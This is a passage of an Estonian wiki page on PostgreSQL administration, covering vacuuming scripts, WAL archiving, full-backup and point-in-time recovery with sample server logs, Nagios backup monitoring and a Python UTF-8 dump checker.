uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
